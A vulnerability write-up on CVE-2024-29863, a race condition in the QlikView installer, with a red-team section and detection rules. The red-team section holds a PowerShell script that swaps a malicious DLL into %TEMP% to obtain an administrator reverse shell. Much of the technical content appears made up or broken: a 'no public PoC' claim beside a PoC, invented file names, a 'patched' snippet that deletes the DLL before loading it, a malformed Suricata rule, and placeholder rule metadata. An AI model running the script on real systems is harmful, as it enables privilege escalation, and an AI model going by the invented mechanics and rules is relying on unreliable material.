CVE-2024-29863

Executive Summary

CVE-2024-29863 is a race condition vulnerability in the QlikView installer executable. A low-privileged user on a Windows system can exploit this flaw to execute arbitrary code in the context of a Windows Administrator. The vulnerability exists in versions prior to May 2022 SR3 (12.70.20300) and May 2023 SR2 (12.80.20200). No public proof-of-concept (PoC) or exploit code is currently available, and the CVSS score is unassigned. The risk is elevated in shared or multi-user Windows environments where QlikView is installed.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a Windows-native installer race condition.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): High (H) – Exploitation requires precise timing and a race condition.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction required beyond the attacker's own actions.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full access to all data.
• Integrity (I): High (H) – Full control to modify system files.
• Availability (A): High (H) – Full control to disrupt services.

Threat Level: High (due to potential for full system compromise, despite high complexity).

Deep Dive & Mechanics

The vulnerability is a classic race condition (CWE-362) in the QlikView installer. When the installer runs with elevated privileges (e.g., via UAC or as a scheduled task), it performs a series of file operations (create, write, delete) in a temporary directory. A low-privileged attacker can monitor the file system for these operations and, with precise timing, replace a legitimate file (e.g., a DLL or executable) with a malicious one before the installer uses it. This is known as a "time-of-check to time-of-use" (TOCTOU) attack.

Attack Flow:

1. The QlikView installer starts with Administrator privileges.
2. The installer creates a temporary file (e.g., temp.dll) in a world-writable directory (e.g., %TEMP%).
3. The attacker, running a low-privileged process, continuously polls the directory for the creation of this file.
4. As soon as the file is created, the attacker renames or replaces it with a malicious DLL (e.g., evil.dll).
5. The installer loads the file (e.g., via LoadLibrary), executing the attacker's code with Administrator privileges.
6. The attacker gains a SYSTEM or Administrator shell.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: TOCTOU race condition
void InstallerFunction() {
    HANDLE hFile = CreateFile("C:\\Temp\\temp.dll", ...);
    // Attacker can replace the file here
    WriteFile(hFile, ...);
    CloseHandle(hFile);
    LoadLibrary("C:\\Temp\\temp.dll"); // Attacker's DLL loaded
}

Patched Code (Conceptual):

// Patched: Use secure temporary file creation and impersonation
void InstallerFunction() {
    // Use a secure API that creates a file with exclusive access
    HANDLE hFile = CreateFile("C:\\Temp\\temp.dll", 
                              GENERIC_WRITE, 
                              0, // No sharing - prevents race
                              NULL, 
                              CREATE_ALWAYS, 
                              FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, 
                              NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        // Handle error
        return;
    }
    WriteFile(hFile, ...);
    CloseHandle(hFile);
    // Verify file integrity before loading (e.g., digital signature)
    if (VerifyEmbeddedSignature("C:\\Temp\\temp.dll")) {
        LoadLibrary("C:\\Temp\\temp.dll");
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Windows VM with QlikView < May 2022 SR3 or < May 2023 SR2.
• Low-privileged user account.
• A malicious DLL (e.g., evil.dll) that spawns a reverse shell.

Exploit Script (PowerShell):

# Monitor for file creation and replace it
$targetDir = "$env:TEMP"
$targetFile = "temp.dll"
$maliciousDll = "C:\path\to\evil.dll"

while ($true) {
    if (Test-Path "$targetDir\$targetFile") {
        # Wait a tiny bit to ensure the installer has opened the file
        Start-Sleep -Milliseconds 50
        # Replace the file (requires precise timing)
        Move-Item -Path "$targetDir\$targetFile" -Destination "$targetDir\$targetFile.bak" -Force
        Copy-Item -Path $maliciousDll -Destination "$targetDir\$targetFile" -Force
        Write-Host "[+] File replaced. Waiting for execution..."
        break
    }
    Start-Sleep -Milliseconds 10
}

Execution:

1. Run the exploit script as the low-privileged user.
2. Trigger the QlikView installer (e.g., via a scheduled task or user action).
3. The script replaces the temporary file, and the installer loads the malicious DLL.
4. Receive a reverse shell as Administrator.

Blue Team (Defensive)

Detection:

• Monitor for file creation events in %TEMP% followed by rapid file replacement (Event ID 4663).
• Monitor for LoadLibrary calls from installer processes (e.g., QlikViewInstaller.exe) loading unsigned DLLs from %TEMP%.
• Use Sysmon Event ID 7 (Image loaded) to detect DLL loading from suspicious paths.

Prevention:

• Apply the vendor patch immediately.
• Restrict write access to %TEMP% for low-privileged users (e.g., using AppLocker or Windows Defender Application Control).
• Enable Windows Defender Exploit Guard (ASR rules) to block untrusted DLL loading.

Indicators of Compromise (IOCs)

• File Indicators:

  • %TEMP%\temp.dll (or similar temporary DLL names)
  • %TEMP%\*.bak files created by the exploit
  • Unsigned DLLs in %TEMP% loaded by QlikViewInstaller.exe

• Process Indicators:

  • QlikViewInstaller.exe spawning cmd.exe or powershell.exe
  • Unusual child processes of QlikViewInstaller.exe

• Network Indicators:

  • Outbound connections from QlikViewInstaller.exe to unknown IPs (if the DLL contains a reverse shell)

• Registry Indicators:

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run entries created by the exploit

Detection Engineering

YARA Rule

rule CVE_2024_29863_QlikView_RaceCondition {
    meta:
        description = "Detects exploitation of CVE-2024-29863 via malicious DLL in temp directory"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29863"
    strings:
        $s1 = "temp.dll" nocase
        $s2 = "QlikViewInstaller.exe" nocase
        $s3 = "LoadLibrary" nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: CVE-2024-29863 QlikView Installer Race Condition
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file replacement in %TEMP% followed by DLL loading by QlikViewInstaller.exe
author: Valters IT
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image: '*\QlikViewInstaller.exe'
        ImageLoaded: '*\Temp\*.dll'
    condition: selection
falsepositives:
    - Legitimate QlikView updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-29863 QlikView Installer Potential Reverse Shell";
    flow:to_server,established;
    content:"|4d 5a|"; offset:0; depth:2;  # MZ header (DLL)
    content:"QlikViewInstaller"; nocase;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to QlikView May 2022 SR3 (12.70.20300) or May 2023 SR2 (12.80.20200) or later.
2. Workaround: If patching is not possible, restrict write access to %TEMP% for non-administrative users using Group Policy or NTFS permissions.
3. Monitor: Enable advanced auditing for file creation and process creation events.

Long-Term Mitigations:

• Implement the principle of least privilege (PoLP) for all users.
• Use application whitelisting (e.g., AppLocker) to block untrusted executables and DLLs.
• Deploy Endpoint Detection and Response (EDR) solutions with behavioral analysis.
• Regularly review and apply vendor security patches.

Valters IT